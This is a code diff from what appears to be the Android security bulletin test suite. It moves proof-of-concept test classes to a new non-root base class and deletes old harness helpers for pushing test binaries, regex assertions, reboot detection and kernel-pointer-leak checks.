-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_07 extends SecurityTestCase {
+public class Poc18_07 extends NonRootSecurityTestCase {
 
    /**
     * b/76221123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index a8b9050..3e0cc2d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_10 extends SecurityTestCase {
+public class Poc18_10 extends NonRootSecurityTestCase {
 
     /**
      *  b/111641492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index e6ca50b..8f00629 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_11 extends SecurityTestCase {
+public class Poc18_11 extends NonRootSecurityTestCase {
 
     /**
      *  b/113027383
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 1e56873..dab2066 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_03 extends SecurityTestCase {
+public class Poc19_03 extends NonRootSecurityTestCase {
     /**
      * b/115739809
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index a22fc97..f9f8b7c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_05 extends SecurityTestCase {
+public class Poc19_05 extends NonRootSecurityTestCase {
     /**
      * CVE-2019-2257
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 71cb84d..791b8b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_07 extends SecurityTestCase {
+public class Poc19_07 extends NonRootSecurityTestCase {
     /**
      * Bug-137878930
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
index 5a8f4d7..b029aa6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -1,14 +1,17 @@
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_01 extends SecurityTestCase {
+public class Poc20_01 extends NonRootSecurityTestCase {
     /**
      * CVE-2019-14002
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
index 5b9bb22..72e7b96 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_03 extends SecurityTestCase {
+public class Poc20_03 extends NonRootSecurityTestCase {
 
     /**
      * b/147882143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 6ed83c1..3f2d1d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_06 extends SecurityTestCase {
+public class Poc20_06 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2020-3635
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
index bd2a761..86c1a1f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -16,16 +16,18 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_11 extends SecurityTestCase {
+public class Poc20_11 extends NonRootSecurityTestCase {
 
     /**
      * b/162741784
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
index e555700..ccff621 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -17,15 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc21_01 extends SecurityTestCase {
+public class Poc21_01 extends NonRootSecurityTestCase {
 
     /**
      * b/168211968
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
deleted file mode 100644
index 07f45db..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Set;
-import java.io.File;
-import java.io.FileNotFoundException;
-
-import org.junit.runner.Description;
-import org.junit.rules.TestWatcher;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.IAbi;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-public class PocPusher extends TestWatcher {
-    private ITestDevice device = null;
-    private CompatibilityBuildHelper buildHelper = null;
-    private IAbi abi = null;
-
-    private Set<String> filesToCleanup = new HashSet();
-    public boolean bitness32 = true;
-    public boolean bitness64 = true;
-    public boolean appendBitness = true;
-    public boolean cleanup = true;
-
-    @Override
-    protected void starting(Description d) {
-        bothBitness();
-        appendBitness = true;
-        cleanup = true;
-    }
-
-    @Override
-    protected void finished(Description d) {
-        for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
-            String file = it.next();
-            try {
-                CLog.i("Cleaning up %s", file);
-                device.deleteFile(file);
-            } catch (DeviceNotAvailableException e) {
-                CLog.e("Device unavailable when cleaning up %s", file);
-                continue; // try to remove next time
-            }
-            it.remove();
-        }
-    }
-
-    public PocPusher setDevice(ITestDevice device) {
-        this.device = device;
-        return this;
-    }
-
-    public PocPusher setAbi(IAbi abi) {
-        this.abi = abi;
-        return this;
-    }
-
-    public PocPusher setBuild(IBuildInfo buildInfo) {
-        buildHelper = new CompatibilityBuildHelper(buildInfo);
-        return this;
-    }
-
-    public PocPusher appendBitness(boolean append) {
-        this.appendBitness = append;
-        return this;
-    }
-
-    public PocPusher cleanup(boolean cleanup) {
-        this.cleanup = cleanup;
-        return this;
-    }
-
-    public PocPusher only32() {
-        bitness32 = true;
-        bitness64 = false;
-        return this;
-    }
-
-    public PocPusher only64() {
-        bitness32 = false;
-        bitness64 = true;
-        return this;
-    }
-
-    public PocPusher bothBitness() {
-        bitness32 = true;
-        bitness64 = true;
-        return this;
-    }
-
-    public void pushFile(String testFile, String remoteFile)
-            throws FileNotFoundException, DeviceNotAvailableException {
-        if (appendBitness) {
-            // if neither 32 or 64, nothing would ever be pushed.
-            assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
-
-            String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
-
-            // 32-bit doesn't have a 64-bit compatibility layer; skipping.
-            assumeFalse(bitness.equals("32") && !bitness32);
-
-            // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
-            if (bitness.equals("64") && !bitness64) {
-                bitness = "32";
-                CLog.i("Pushing a 32-bit file onto a 64-bit device.");
-            }
-            testFile += bitness;
-        }
-        CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
-        File localFile = buildHelper.getTestFile(testFile);
-        device.pushFile(localFile, remoteFile);
-        if (cleanup) {
-            filesToCleanup.add(remoteFile);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
deleted file mode 100644
index 9ce7e39..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import java.util.concurrent.TimeoutException;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static org.junit.Assert.*;
-
-public class RegexUtils {
-    private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
-    private static final int WARNING_THRESHOLD = 1000; // 1 second
-    private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
-
-    public static void assertContains(String pattern, String input) throws Exception {
-        assertFind(pattern, input, false, false);
-    }
-
-    public static void assertContainsMultiline(String pattern, String input) throws Exception {
-        assertFind(pattern, input, false, true);
-    }
-
-    public static void assertNotContains(String pattern, String input) throws Exception {
-        assertFind(pattern, input, true, false);
-    }
-
-    public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
-        assertFind(pattern, input, true, true);
-    }
-
-    private static void assertFind(
-            String pattern, String input, boolean shouldFind, boolean multiline) {
-        // The input string throws an error when used after the timeout
-        TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
-        Matcher matcher = null;
-        if (multiline) {
-            // DOTALL lets .* match line separators
-            // MULTILINE lets ^ and $ match line separators instead of input start and end
-            matcher = Pattern.compile(
-                    pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
-        } else {
-            matcher = Pattern.compile(pattern).matcher(timedInput);
-        }
-
-        try {
-            long start = System.currentTimeMillis();
-            boolean found = matcher.find();
-            long duration = System.currentTimeMillis() - start;
-
-            if (duration > WARNING_THRESHOLD) {
-                // Provide a warning to the test developer that their regex should be optimized.
-                CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
-            }
-
-            if (found && shouldFind) { // failed notContains
-                String substring = input.substring(matcher.start(), matcher.end());
-                String context = getInputContext(input, matcher.start(), matcher.end(),
-                        CONTEXT_RANGE, CONTEXT_RANGE);
-                fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
-                        context + "...");
-            } else if (!found && !shouldFind) { // failed contains
-                fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
-            }
-        } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
-            // regex match has taken longer than the timeout
-            // this usually means the input is extremely long or the regex is catastrophic
-            fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
-        }
-    }
-
-    /*
-     * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
-     * grep.
-     */
-    private static String getInputContext(String input, int start, int end, int before, int after) {
-        start = Math.max(0, start - before);
-        end = Math.min(input.length(), end + after);
-        return input.substring(start, end);
-    }
-
-    /*
-     * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
-     * against the timeout. If the current time is greater than the expiration time, an exception is
-     * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
-     */
-    private static class TimeoutCharSequence implements CharSequence {
-        long expireTime = 0;
-        CharSequence chars = null;
-
-        TimeoutCharSequence(CharSequence chars, long timeout) {
-            this.chars = chars;
-            expireTime = System.currentTimeMillis() + timeout;
-        }
-
-        @Override
-        public char charAt(int index) {
-            if (System.currentTimeMillis() > expireTime) {
-                throw new CharSequenceTimeoutException(
-                        "TimeoutCharSequence was used after the expiration time.");
-            }
-            return chars.charAt(index);
-        }
-
-        @Override
-        public int length() {
-            return chars.length();
-        }
-
-        @Override
-        public CharSequence subSequence(int start, int end) {
-            return new TimeoutCharSequence(chars.subSequence(start, end),
-                    expireTime - System.currentTimeMillis());
-        }
-
-        @Override
-        public String toString() {
-            return chars.toString();
-        }
-
-        private static class CharSequenceTimeoutException extends RuntimeException {
-            public CharSequenceTimeoutException(String message) {
-                super(message);
-            }
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
deleted file mode 100644
index d7a3afc..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ /dev/null
@@ -1,367 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.ddmlib.Log;
-
-import org.junit.rules.TestName;
-import org.junit.Rule;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
-import java.util.Map;
-import java.util.HashMap;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import java.util.concurrent.Callable;
-import java.math.BigInteger;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-import static org.hamcrest.core.Is.is;
-
-public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
-
-    private static final String LOG_TAG = "SecurityTestCase";
-    private static final int RADIX_HEX = 16;
-
-    protected static final int TIMEOUT_DEFAULT = 60;
-    // account for the poc timer of 5 minutes (+15 seconds for safety)
-    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
-
-    private long kernelStartTime = -1;
-
-    private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
-
-    @Rule public TestName testName = new TestName();
-    @Rule public PocPusher pocPusher = new PocPusher();
-
-    private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
-    private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
-    private static Map<ITestDevice, String> sTestName = new HashMap<>();
-    private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
-
-    @Option(name = "set-kptr_restrict",
-            description = "If kptr_restrict should be set to 2 after every reboot")
-    private boolean setKptr_restrict = false;
-    private boolean ignoreKernelAddress = false;
-
-    /**
-     * Waits for device to be online, marks the most recent boottime of the device
-     */
-    @Before
-    public void setUp() throws Exception {
-        getDevice().waitForDeviceAvailable();
-        getDevice().disableAdbRoot();
-        updateKernelStartTime();
-        // TODO:(badash@): Watch for other things to track.
-        //     Specifically time when app framework starts
-
-        sBuildInfo.put(getDevice(), getBuild());
-        sAbi.put(getDevice(), getAbi());
-        sTestName.put(getDevice(), testName.getMethodName());
-
-        pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
-        sPocPusher.put(getDevice(), pocPusher);
-
-        if (setKptr_restrict) {
-            if (getDevice().enableAdbRoot()) {
-                CLog.i("setting kptr_restrict to 2");
-                getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict");
-                getDevice().disableAdbRoot();
-            } else {
-                // not a rootable device
-                ignoreKernelAddress = true;
-            }
-        }
-    }
-
-    /**
-     * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
-     * (due to rounding) of the previous boottime to check if The phone has crashed.
-     */
-    @After
-    public void tearDown() throws Exception {
-        try {
-            getDevice().waitForDeviceAvailable(90 * 1000);
-        } catch (DeviceNotAvailableException e) {
-            // Force a disconnection of all existing sessions to see if that unsticks adbd.
-            getDevice().executeAdbCommand("reconnect");
-            getDevice().waitForDeviceAvailable(30 * 1000);
-        }
-
-        if (kernelStartTime != -1) {
-            // only fail when the kernel start time is valid
-            long deviceTime = getDeviceUptime() + kernelStartTime;
-            long hostTime = System.currentTimeMillis() / 1000;
-            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
-            kernelStartTime = -1;
-        }
-
-        // TODO(badash@): add ability to catch runtime restart
-    }
-
-    public static IBuildInfo getBuildInfo(ITestDevice device) {
-        return sBuildInfo.get(device);
-    }
-
-    public static IAbi getAbi(ITestDevice device) {
-        return sAbi.get(device);
-    }
-
-    public static String getTestName(ITestDevice device) {
-        return sTestName.get(device);
-    }
-
-    public static PocPusher getPocPusher(ITestDevice device) {
-        return sPocPusher.get(device);
-    }
-
-    // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
-    // b/123237827
-    @Deprecated
-    public void assertMatches(String pattern, String input) throws Exception {
-        RegexUtils.assertContains(pattern, input);
-    }
-
-    @Deprecated
-    public void assertMatchesMultiLine(String pattern, String input) throws Exception {
-        RegexUtils.assertContainsMultiline(pattern, input);
-    }
-
-    @Deprecated
-    public void assertNotMatches(String pattern, String input) throws Exception {
-        RegexUtils.assertNotContains(pattern, input);
-    }
-
-    @Deprecated
-    public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
-        RegexUtils.assertNotContainsMultiline(pattern, input);
-    }
-
-    /**
-     * Runs a provided function that collects a String to test against kernel pointer leaks.
-     * The getPtrFunction function implementation must return a String that starts with the
-     * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
-     * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
-     * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
-     * normal kernel space. The test re-runs to make false positives statistically insignificant.
-     * When kernel pointers won't change without a reboot, provide a device to reboot.
-     *
-     * @param getPtrFunction a function that returns a string that starts with a pointer
-     * @param deviceToReboot device to reboot when kernel pointers won't change
-     */
-    public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
-            throws Exception {
-        assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress);
-        String ptr = null;
-        for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
-            ptr = getPtrFunction.call();
-            if (ptr == null) {
-                return;
-            }
-            if (!isKptr(ptr)) {
-                // quit early because the ptr is likely hashed or zeroed.
-                return;
-            }
-            if (deviceToReboot != null) {
-                deviceToReboot.nonBlockingReboot();
-                deviceToReboot.waitForDeviceAvailable();
-                updateKernelStartTime();
-            }
-        }
-        fail("\"" + ptr + "\" is an exposed kernel pointer.");
-    }
-
-    private boolean isKptr(String ptr) {
-        Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
-        if (!m.find() || m.start() != 0) {
-           // ptr string is malformed
-           return false;
-        }
-        int length = m.end();
-
-        if (length == 8) {
-          // 32-bit pointer
-          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
-          // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
-          // 0x3fffffff bytes = 1GB /  0xffffffff = 4 GB
-          // 1 in 4 collision for hashed pointers
-          return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
-        } else if (length == 16) {
-          // 64-bit pointer
-          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
-          // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
-          // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
-          // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
-          // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
-          return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
-        }
-
-        return false;
-    }
-
-    /**
-     * Check if a driver is present and readable.
-     */
-    protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
-        return containsDriver(device, driver, true);
-    }
-
-    /**
-     * Check if a driver is present on a machine.
-     */
-    protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
-            throws Exception {
-        boolean containsDriver = false;
-        if (driver.contains("*")) {
-            // -A  list all files but . and ..
-            // -d  directory, not contents
-            // -1  list one file per line
-            // -f  unsorted
-            String ls = "ls -A -d -1 -f " + driver;
-            if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
-                String[] expanded = device.executeShellCommand(ls).split("\\R");
-                for (String expandedDriver : expanded) {
-                    containsDriver |= containsDriver(device, expandedDriver, checkReadable);
-                }
-            }
-        } else {
-            if(checkReadable) {
-                containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
-            } else {
-                containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
-            }
-        }
-
-        MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
-        reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit();
-
-        return containsDriver;
-    }
-
-    protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
-        IBuildInfo buildInfo = getBuildInfo(device);
-        IAbi abi = getAbi(device);
-        String testName = getTestName(device);
-
-        StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
-        int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
-        String className = stacktraces[stackDepth].getClassName();
-        String methodName = stacktraces[stackDepth].getMethodName();
-        String classMethodName = String.format("%s#%s", className, methodName);
-
-        // The stream name must be snake_case or else json formatting breaks
-        String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
-
-        MetricsReportLog reportLog = new MetricsReportLog(
-            buildInfo,
-            abi.getName(),
-            classMethodName,
-            "CtsSecurityBulletinHostTestCases",
-            streamName,
-            true);
-        reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
-        return reportLog;
-    }
-
-    private long getDeviceUptime() throws DeviceNotAvailableException {
-        String uptime = null;
-        int attempts = 5;
-        do {
-            if (attempts-- <= 0) {
-                throw new RuntimeException("could not get device uptime");
-            }
-            getDevice().waitForDeviceAvailable();
-            uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
-        } while (uptime.isEmpty());
-        return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
-    }
-
-    public void safeReboot() throws DeviceNotAvailableException {
-        getDevice().nonBlockingReboot();
-        getDevice().waitForDeviceAvailable();
-        updateKernelStartTime();
-    }
-
-    /**
-     * Allows a test to pass if called after a planned reboot.
-     */
